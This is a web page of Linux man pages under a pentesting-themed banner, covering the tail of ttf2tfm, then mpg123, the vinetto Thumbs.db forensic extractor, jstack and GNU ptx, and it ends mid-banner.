If one of the variables isn’t set, a warning message is emitted. The current directory will always be searched. As usual, one exclamation mark appended to a directory path causes subdirectories one level deep to be searched, two exclamation marks cause all subdirectories to be searched. Example:

TTFONTS=c:\fonts\truetype!!;d:\myfonts\truetype!

Constructions like ` c:\fonts!!\truetype’ aren’t possible.

MiKTeX

Both ttf2tfm and ttf2pk have been fully integrated into MiKTeX. Please refer to the documentation of MiKTeX for more details on file searching.

PROBLEMS

Many vptovf implementations allow only 100 bytes for the TFM header (the limit is 1024 in the TFM file format itself): 8 bytes for checksum and design size, 40 bytes for the family name, 20 bytes for the encoding, and 4 bytes for a face byte. There remain only 28 bytes for some additional information which is used by ttf2tfm for an identification string (which is essentially a copy of the command line), and this limit is always exceeded.

The optimal solution is to increase the value of max_header_bytes in the file vptovf.web (and probably pltotf.web too) to, say, 400 and recompile vptovf (and pltotf). Otherwise you’ll get some (harmless) error messages like

This HEADER index is too big for my present table size

which can be safely ignored.

SEE ALSO

ttf2pk(1), afm2tfm(1), vptovf(1),
the info pages for dvips and kpathsea

AVAILABILITY

ttf2tfm is part of the FreeType 1 package, a high quality TrueType rendering library.

AUTHORS

Werner LEMBERG <[email protected]>
Frédéric LOYER <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1372 - Linux cli command mpg123

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpg123 and provides detailed information about the command mpg123, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpg123.

NAME 🖥️ mpg123 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1373 - Linux cli command vinetto

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vinetto and provides detailed information about the command vinetto, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vinetto.

NAME 🖥️ vinetto 🖥️

extract thumbnails and associated metadata from Thumbs.db files

SYNOPSIS

     vinetto [OPTION] [-o DIR] file

DESCRIPTION

vinetto extracts the thumbnails and associated metadata from the Thumbs.db files.

The MS Windows systems (98, ME, 2000, XP and 2003 Server) can store thumbnails and metadata of the picture files contained in directories. The thumbnails and associated metadata are stored in Thumbs.db files (that are undocumented OLE structured files). Once a picture file has been deleted from the filesystem, the related thumbnail and associated metadata remain stored in the Thumbs.db file. So, the data contained in Thumbs.db files are a helpful source of information for the forensics investigators.

vinetto will help *nix-based forensics investigators to:

  • easily preview thumbnails of deleted pictures on Windows systems;

  • obtain information (dates, path, …) about these deleted pictures.

OPTIONS

–version
Show program’s version number and exit.

-h, –help
Show help message and exit.

-o DIR
Write thumbnails to DIR

-H
Write html report to DIR (requires option -o)

-U
Use utf8 encodings.

-s
Create symlink of the picture realname to the numbered name in DIR**/.thumbs. (requires option -o)** NOTE: A Catalog containing the realname must exist for this option to produce results

EXAMPLES

Display metadata contained within a Thumbs.db file**:**

    $ vinetto /path/to/Thumbs.db

Extract the related thumbnails to a directory:

    $ vinetto -o /tmp/vinetto_output /path/to/Thumbs.db

Extract the related thumbnails to a directory and produce a HTML report to preview these thumbnails through your favorite browser:

    $ vinetto -Ho /tmp/vinetto_output /path/to/Thumbs.db

Get a metadata report on all non deleted Thumbs.db files contained within a partition:

    $ find /mnt/sda2 -iname thumbs.db -printf "

== %p

" -exec vinetto {} ; 2>/tmp/vinetto_err.log >/tmp/vinetto_sda2.txt

TIP

vinetto can generate its results in hidden directories, as .thumbs.

BUGS

MS Windows stores thumbnails in its Thumbs.db files, according to various formats. At present, vinetto does not produce an excellent reconstruction of Type 1a thumbnails. See more details and examples here[1].

[1] http://vinetto.sf.net/docs.html

In 0.07 version, vinetto can crash when used without ‘-o’ option. If this command crashes:

    $ vinetto /path/to/Thumbs.db

Please, try this:

    $ vinetto -o . /path/to/Thumbs.db

It will show metadata and extract the thumbs (maybe an undesirable result). But it won’t crash.

AUTHOR

vinetto was written by Michel Roukine <[email protected]>.

This manual page was written by Danny van der Meeren <[email protected]> and updated by Joao Eriberto Mota Filho <[email protected]> and Giovani Augusto Ferreira <[email protected]> for Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1374 - Linux cli command jstack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jstack and provides detailed information about the command jstack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jstack.

NAME 🖥️ jstack 🖥️

print Java stack traces of Java threads for a specified Java process

SYNOPSIS

Note: This command is experimental and unsupported.

jstack [options] pid

options
This represents the jstack command-line options. See Options for the jstack Command.

pid
The process ID for which the stack trace is printed. The process must be a Java process. To get a list of Java processes running on a machine, use either the ps command or, if the JVM processes are not running in a separate docker instance, the jps command.

DESCRIPTION

The jstack command prints Java stack traces of Java threads for a specified Java process. For each Java frame, the full class name, method name, byte code index (BCI), and line number, when available, are printed. C++ mangled names aren’t demangled. To demangle C++ names, the output of this command can be piped to c++filt. When the specified process is running on a 64-bit JVM, you might need to specify the -J-d64 option, for example: jstack -J-d64 pid.

Note:

This command is unsupported and might not be available in future releases of the JDK. In Windows Systems where the dbgeng.dll file isn’t present, the Debugging Tools for Windows must be installed so that these tools work. The PATH environment variable needs to contain the location of the jvm.dll that is used by the target process, or the location from which the core dump file was produced.

OPTIONS FOR THE JSTACK COMMAND

-l
The long listing option prints additional information about locks.

-h or -help
Prints a help message.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1375 - Linux cli command ptx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptx and provides detailed information about the command ptx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptx.

NAME 🖥️ ptx 🖥️

produce a permuted index of file contents

SYNOPSIS

ptx [OPTION]… [INPUT]… (without -G)
ptx -G [OPTION]… [INPUT [OUTPUT]]

DESCRIPTION

Output a permuted index, including context, of the words in the input files.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

-A, –auto-reference
output automatically generated references

-G, –traditional
behave more like System V ‘ptx’

-F, –flag-truncation=STRING
use STRING for flagging line truncations. The default is ‘/’

-M, –macro-name=STRING
macro name to use instead of ‘xx’

-O, –format=roff
generate output as roff directives

-R, –right-side-refs
put references at right, not counted in -w

-S, –sentence-regexp=REGEXP
for end of lines or end of sentences

-T, –format=tex
generate output as TeX directives

-W, –word-regexp=REGEXP
use REGEXP to match each keyword

-b, –break-file=FILE
word break characters in this FILE

-f, –ignore-case
fold lower case to upper case for sorting

-g, –gap-size=NUMBER
gap size in columns between output fields

-i, –ignore-file=FILE
read ignore word list from FILE

-o, –only-file=FILE
read only word list from this FILE

-r, –references
first field of each line is a reference

-t, –typeset-mode - not implemented -

-w, –width=NUMBER
output width in columns, reference excluded

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by F. Pinard.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/ptx>
or available locally via: info ‘(coreutils) ptx invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
